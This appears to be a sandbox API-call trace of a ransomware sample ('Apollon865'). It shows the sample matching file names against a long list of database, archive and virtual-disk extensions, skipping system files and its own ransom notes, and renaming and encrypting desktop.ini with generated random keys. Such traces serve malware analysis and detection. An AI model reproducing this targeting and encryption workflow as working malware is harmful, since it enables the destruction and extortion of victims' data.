	[0047.355] lstrlenW (lpString="flexolibrary") returned 12
	[0047.355] lstrlenW (lpString="fm5") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0047.355] lstrlenW (lpString="fmp") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0047.355] lstrlenW (lpString="fmp12") returned 5
	[0047.355] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0047.355] lstrlenW (lpString="fmpsl") returned 5
	[0047.355] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0047.355] lstrlenW (lpString="fol") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0047.355] lstrlenW (lpString="fp3") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0047.355] lstrlenW (lpString="fp4") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0047.355] lstrlenW (lpString="fp5") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0047.355] lstrlenW (lpString="fp7") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0047.355] lstrlenW (lpString="fpt") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0047.355] lstrlenW (lpString="frm") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0047.355] lstrlenW (lpString="gdb") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0047.355] lstrlenW (lpString="gdb") returned 3
	[0047.355] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0047.356] lstrlenW (lpString="grdb") returned 4
	[0047.356] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0047.356] lstrlenW (lpString="gwi") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0047.356] lstrlenW (lpString="hdb") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0047.356] lstrlenW (lpString="his") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0047.356] lstrlenW (lpString="ib") returned 2
	[0047.356] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0047.356] lstrlenW (lpString="idb") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0047.356] lstrlenW (lpString="ihx") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0047.356] lstrlenW (lpString="itdb") returned 4
	[0047.356] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0047.356] lstrlenW (lpString="itw") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0047.356] lstrlenW (lpString="jet") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0047.356] lstrlenW (lpString="jtx") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0047.356] lstrlenW (lpString="kdb") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0047.356] lstrlenW (lpString="kexi") returned 4
	[0047.356] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0047.356] lstrlenW (lpString="kexic") returned 5
	[0047.356] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0047.356] lstrlenW (lpString="kexis") returned 5
	[0047.356] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0047.356] lstrlenW (lpString="lgc") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0047.356] lstrlenW (lpString="lwx") returned 3
	[0047.356] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0047.356] lstrlenW (lpString="maf") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0047.357] lstrlenW (lpString="maq") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0047.357] lstrlenW (lpString="mar") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0047.357] lstrlenW (lpString="marshal") returned 7
	[0047.357] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0047.357] lstrlenW (lpString="mas") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0047.357] lstrlenW (lpString="mav") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0047.357] lstrlenW (lpString="maw") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0047.357] lstrlenW (lpString="mdbhtml") returned 7
	[0047.357] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0047.357] lstrlenW (lpString="mdn") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0047.357] lstrlenW (lpString="mdt") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0047.357] lstrlenW (lpString="mfd") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0047.357] lstrlenW (lpString="mpd") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0047.357] lstrlenW (lpString="mrg") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0047.357] lstrlenW (lpString="mud") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0047.357] lstrlenW (lpString="mwb") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0047.357] lstrlenW (lpString="myd") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0047.357] lstrlenW (lpString="ndf") returned 3
	[0047.357] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0047.358] lstrlenW (lpString="nnt") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0047.358] lstrlenW (lpString="nrmlib") returned 6
	[0047.358] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0047.358] lstrlenW (lpString="ns2") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0047.358] lstrlenW (lpString="ns3") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0047.358] lstrlenW (lpString="ns4") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0047.358] lstrlenW (lpString="nsf") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0047.358] lstrlenW (lpString="nv") returned 2
	[0047.358] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0047.358] lstrlenW (lpString="nv2") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0047.358] lstrlenW (lpString="nwdb") returned 4
	[0047.358] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0047.358] lstrlenW (lpString="nyf") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0047.358] lstrlenW (lpString="odb") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0047.358] lstrlenW (lpString="odb") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0047.358] lstrlenW (lpString="oqy") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0047.358] lstrlenW (lpString="ora") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0047.358] lstrlenW (lpString="orx") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0047.358] lstrlenW (lpString="owc") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0047.358] lstrlenW (lpString="p96") returned 3
	[0047.358] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0047.359] lstrlenW (lpString="p97") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0047.359] lstrlenW (lpString="pan") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0047.359] lstrlenW (lpString="pdb") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0047.359] lstrlenW (lpString="pdm") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0047.359] lstrlenW (lpString="pnz") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0047.359] lstrlenW (lpString="qry") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0047.359] lstrlenW (lpString="qvd") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0047.359] lstrlenW (lpString="rbf") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0047.359] lstrlenW (lpString="rctd") returned 4
	[0047.359] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0047.359] lstrlenW (lpString="rod") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0047.359] lstrlenW (lpString="rodx") returned 4
	[0047.359] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0047.359] lstrlenW (lpString="rpd") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0047.359] lstrlenW (lpString="rsd") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0047.359] lstrlenW (lpString="sas7bdat") returned 8
	[0047.359] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0047.359] lstrlenW (lpString="sbf") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0047.359] lstrlenW (lpString="scx") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0047.359] lstrlenW (lpString="sdb") returned 3
	[0047.359] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0047.359] lstrlenW (lpString="sdc") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0047.360] lstrlenW (lpString="sdf") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0047.360] lstrlenW (lpString="sis") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0047.360] lstrlenW (lpString="spq") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0047.360] lstrlenW (lpString="te") returned 2
	[0047.360] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0047.360] lstrlenW (lpString="teacher") returned 7
	[0047.360] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0047.360] lstrlenW (lpString="tmd") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0047.360] lstrlenW (lpString="tps") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0047.360] lstrlenW (lpString="trc") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0047.360] lstrlenW (lpString="trc") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0047.360] lstrlenW (lpString="trm") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0047.360] lstrlenW (lpString="udb") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0047.360] lstrlenW (lpString="udl") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0047.360] lstrlenW (lpString="usr") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0047.360] lstrlenW (lpString="v12") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0047.360] lstrlenW (lpString="vis") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0047.360] lstrlenW (lpString="vpd") returned 3
	[0047.360] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0047.360] lstrlenW (lpString="vvv") returned 3
	[0047.361] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0047.361] lstrlenW (lpString="wdb") returned 3
	[0047.361] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0047.361] lstrlenW (lpString="wmdb") returned 4
	[0047.361] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0047.361] lstrlenW (lpString="wrk") returned 3
	[0047.361] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0047.361] lstrlenW (lpString="xdb") returned 3
	[0047.361] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0047.361] lstrlenW (lpString="xld") returned 3
	[0047.361] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0047.361] lstrlenW (lpString="xmlff") returned 5
	[0047.361] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0047.361] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Searches\\desktop.ini.Apollon865") returned 48
	[0047.361] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Searches\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\searches\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0047.363] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\searches\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0047.363] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=524) returned 1
	[0047.363] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0047.363] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0047.363] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0047.363] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0047.364] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0047.364] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.364] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x510, lpName=0x0) returned 0x150
	[0047.380] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x510) returned 0x100000
	[0047.387] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0047.388] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0047.388] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0047.388] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0047.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0047.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0047.388] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0047.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0047.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2af8
	[0047.388] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0047.388] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2af8 | out: hHeap=0x580000) returned 1
	[0047.389] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0047.389] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0047.389] CloseHandle (hObject=0x150) returned 1
	[0047.389] CloseHandle (hObject=0x15c) returned 1
	[0047.389] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0047.389] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0047.389] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0047.389] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="Apollon865.txt.exe") returned 1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".") returned 1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="..") returned 1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="windows") returned -1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="bootmgr") returned 1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="temp") returned -1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="pagefile.sys") returned -1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="boot") returned 1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ids.txt") returned -1
	[0047.389] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ntuser.dat") returned -1
	[0047.390] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="perflogs") returned -1
	[0047.390] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="MSBuild") returned -1
	[0047.390] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0047.390] lstrlenW (lpString="C:\\Users\\Default\\Searches\\desktop.ini") returned 37
	[0047.390] lstrcpyW (in: lpString1=0x119e63c, lpString2="Everywhere.search-ms" | out: lpString1="Everywhere.search-ms") returned="Everywhere.search-ms"
	[0047.390] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0047.390] lstrlenW (lpString="Apollon865") returned 10
	[0047.390] lstrcmpiW (lpString1=".search-ms", lpString2="Apollon865") returned -1
	[0047.390] lstrlenW (lpString=".dll") returned 4
	[0047.390] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".dll") returned 1
	[0047.390] lstrlenW (lpString=".lnk") returned 4
	[0047.390] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".lnk") returned 1
	[0047.390] lstrlenW (lpString=".ini") returned 4
	[0047.390] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".ini") returned 1
	[0047.390] lstrlenW (lpString=".sys") returned 4
	[0047.390] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".sys") returned 1
	[0047.390] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0047.390] lstrlenW (lpString="bak") returned 3
	[0047.390] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0047.390] lstrlenW (lpString="ba_") returned 3
	[0047.390] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0047.390] lstrlenW (lpString="dbb") returned 3
	[0047.390] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0047.390] lstrlenW (lpString="vmdk") returned 4
	[0047.390] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1
	[0047.390] lstrlenW (lpString="rar") returned 3
	[0047.390] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0047.390] lstrlenW (lpString="zip") returned 3
	[0047.390] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0047.390] lstrlenW (lpString="tgz") returned 3
	[0047.390] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0047.390] lstrlenW (lpString="vbox") returned 4
	[0047.390] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1
	[0047.391] lstrlenW (lpString="vdi") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0047.391] lstrlenW (lpString="vhd") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0047.391] lstrlenW (lpString="vhdx") returned 4
	[0047.391] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1
	[0047.391] lstrlenW (lpString="avhd") returned 4
	[0047.391] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1
	[0047.391] lstrlenW (lpString="db") returned 2
	[0047.391] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0047.391] lstrlenW (lpString="db2") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0047.391] lstrlenW (lpString="db3") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0047.391] lstrlenW (lpString="dbf") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0047.391] lstrlenW (lpString="mdf") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0047.391] lstrlenW (lpString="mdb") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0047.391] lstrlenW (lpString="sql") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0047.391] lstrlenW (lpString="sqlite") returned 6
	[0047.391] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1
	[0047.391] lstrlenW (lpString="sqlite3") returned 7
	[0047.391] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1
	[0047.391] lstrlenW (lpString="sqlitedb") returned 8
	[0047.391] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1
	[0047.391] lstrlenW (lpString="xml") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0047.391] lstrlenW (lpString="$er") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0047.391] lstrlenW (lpString="4dd") returned 3
	[0047.391] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0047.392] lstrlenW (lpString="4dl") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0047.392] lstrlenW (lpString="^^^") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0047.392] lstrlenW (lpString="abs") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0047.392] lstrlenW (lpString="abx") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0047.392] lstrlenW (lpString="accdb") returned 5
	[0047.392] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1
	[0047.392] lstrlenW (lpString="accdc") returned 5
	[0047.392] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1
	[0047.392] lstrlenW (lpString="accde") returned 5
	[0047.392] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1
	[0047.392] lstrlenW (lpString="accdr") returned 5
	[0047.392] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1
	[0047.392] lstrlenW (lpString="accdt") returned 5
	[0047.392] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1
	[0047.392] lstrlenW (lpString="accdw") returned 5
	[0047.392] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1
	[0047.392] lstrlenW (lpString="accft") returned 5
	[0047.392] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1
	[0047.392] lstrlenW (lpString="adb") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0047.392] lstrlenW (lpString="adb") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0047.392] lstrlenW (lpString="ade") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0047.392] lstrlenW (lpString="adf") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0047.392] lstrlenW (lpString="adn") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0047.392] lstrlenW (lpString="adp") returned 3
	[0047.392] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0047.393] lstrlenW (lpString="alf") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0047.393] lstrlenW (lpString="ask") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0047.393] lstrlenW (lpString="btr") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0047.393] lstrlenW (lpString="cat") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0047.393] lstrlenW (lpString="cdb") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0047.393] lstrlenW (lpString="ckp") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0047.393] lstrlenW (lpString="cma") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0047.393] lstrlenW (lpString="cpd") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0047.393] lstrlenW (lpString="dacpac") returned 6
	[0047.393] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1
	[0047.393] lstrlenW (lpString="dad") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0047.393] lstrlenW (lpString="dadiagrams") returned 10
	[0047.393] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1
	[0047.393] lstrlenW (lpString="daschema") returned 8
	[0047.393] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1
	[0047.393] lstrlenW (lpString="db-journal") returned 10
	[0047.393] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1
	[0047.393] lstrlenW (lpString="db-shm") returned 6
	[0047.393] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1
	[0047.393] lstrlenW (lpString="db-wal") returned 6
	[0047.393] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1
	[0047.393] lstrlenW (lpString="dbc") returned 3
	[0047.393] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0047.393] lstrlenW (lpString="dbs") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0047.394] lstrlenW (lpString="dbt") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0047.394] lstrlenW (lpString="dbv") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0047.394] lstrlenW (lpString="dbx") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0047.394] lstrlenW (lpString="dcb") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0047.394] lstrlenW (lpString="dct") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0047.394] lstrlenW (lpString="dcx") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0047.394] lstrlenW (lpString="ddl") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0047.394] lstrlenW (lpString="dlis") returned 4
	[0047.394] lstrcmpiW (lpString1="h-ms", lpString2="dlis") returned 1
